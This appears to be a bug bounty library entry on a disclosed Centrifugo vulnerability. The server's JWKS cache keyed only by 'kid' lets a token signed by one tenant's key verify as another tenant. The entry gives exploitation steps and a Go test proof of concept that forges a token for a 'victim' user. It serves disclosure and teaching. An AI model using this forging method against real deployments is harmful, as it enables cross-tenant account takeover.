# Centrifugo's dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass

Centrifugo's dynamic JWKS cache keyed only by JWT `kid` lets a token signed by tenant A's key verify as tenant B when both share a `kid`.

- Payout: Research
- Severity: high
- Program: Centrifugo
- Found by: sondt99
- Disclosed: 2026-07-01
- CVE: CVE-2026-49998
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-g6vg-wj8f-48cj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-g6vg-wj8f-48cj
- Tags: area:web domain:web impact:ato impact:integrity kind:research platform:ghsa sev:high tech:go tech:jwt technique:race-window technique:source-review vuln:access-control vuln:auth-bypass

**Target:** JWT verifier / dynamic JWKS endpoint (Go server)
**Root cause:** JWKS TTL cache and singleflight lookups are keyed only by the JWT header `kid`, ignoring the resolved JWKS URL/issuer/audience trust domain, so a key cached from one issuer's endpoint is reused to verify tokens claiming another issuer.
**Steps:**
1. Configure `client.token.jwks_public_endpoint` as a template like `https://host/{{tenant}}/jwks.json` with `IssuerRegex` `^(?P<tenant>tenant-a|tenant-b)$`.
2. Serve tenant-a and tenant-b JWKS documents that both publish a key with the same `kid` (e.g. `shared-kid`) but different RSA public keys.
3. Obtain/mint a valid token for tenant-a signed by tenant-a's private key with `kid=shared-kid`; verify it to prime the cache.
4. Forge a token with `iss=tenant-b`, `sub=victim`, signed by tenant-a's private key, same `kid`.
5. Submit forged token to `VerifyConnectToken`; it is accepted as `victim` without any request to tenant-b's JWKS endpoint.
**How found:** Code review of the JWKS manager: noticed `FetchKey` and TTL cache use only `kid` while the templated JWKS URL is resolved later in `fetchKey`, so cache namespace ignores the trust domain selected by token-derived variables.
**Exploitation:** Attacker with any valid token for one allowed issuer/tenant (or ability to mint one) signs a token claiming a different allowed issuer/tenant using the same `kid`, after ensuring their issuer's key is cached first; the verifier accepts it for connection and subscription tokens, granting cross-tenant authentication.
**Escalation:** Same flaw applies to both connection-token and subscription-token verification paths, extending impact to subscription authorization and cross-tenant data access.
**Insight:** When a verifier resolves per-token trust domains (iss/aud templating), check that every cache and singleflight key includes the resolved endpoint/namespace, not just `kid` — `kid` is not globally unique and is often reused across issuers.

## Proof of concept (copied exactly from the original report)

**Go test proving cross-tenant JWKS cache bypass**

```
func TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) {
    const kid = "shared-kid"

    tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t)
    tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t)

    var tenantARequests int32
    var tenantBRequests int32

    ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        switch r.URL.Path {
        case "/tenant-a/jwks.json":
            atomic.AddInt32(&tenantARequests, 1)
            writeRSAJWKS(t, w, tenantAPublicKey, kid)
        case "/tenant-b/jwks.json":
            atomic.AddInt32(&tenantBRequests, 1)
            writeRSAJWKS(t, w, tenantBPublicKey, kid)
        default:
            http.NotFound(w, r)
        }
    }))
    defer ts.Close()

    cfg := config.DefaultConfig()
    cfgContainer, err := config.NewContainer(cfg)
    require.NoError(t, err)

    newVerifier := func() *VerifierJWT {
        verifier, err := NewTokenVerifierJWT(VerifierConfig{
            JWKSPublicEndpoint: ts.URL + "/{{tenant}}/jwks.json",
            IssuerRegex:        `^(?P<tenant>tenant-a|tenant-b)$`,
        }, cfgContainer)
        require.NoError(t, err)
        return verifier
    }

    legitimateTenantAToken := getRSAIssuerConnToken(t, "tenant-a-user", "tenant-a", tenantAPrivateKey, kid)
    legitimateTenantBToken := getRSAIssuerConnToken(t, "tenant-b-user", "tenant-b", tenantBPrivateKey, kid)
    forgedTenantBToken := getRSAIssuerConnToken(t, "victim", "tenant-b", tenantAPrivateKey, kid)

    ct, err := newVerifier().VerifyConnectToken(legitimateTenantBToken, false)
    require.NoError(t, err)
    require.Equal(t, "tenant-b-user", ct.UserID)

    _, err = newVerifier().VerifyConnectToken(forgedTenantBToken, false)
    require.Error(t, err)

    verifier := newVerifier()
    ct, err = verifier.VerifyConnectToken(legitimateTenantAToken, false)
    require.NoError(t, err)
    require.Equal(t, "tenant-a-user", ct.UserID)

    tenantBRequestsBeforeForge := atomic.LoadInt32(&tenantBRequests)
    ct, err = verifier.VerifyConnectToken(forgedTenantBToken, false)
    require.NoError(t, err)
    require.Equal(t, "victim", ct.UserID)
    require.Equal(t, tenantBRequestsBeforeForge, atomic.LoadInt32(&tenantBRequests))
}
```

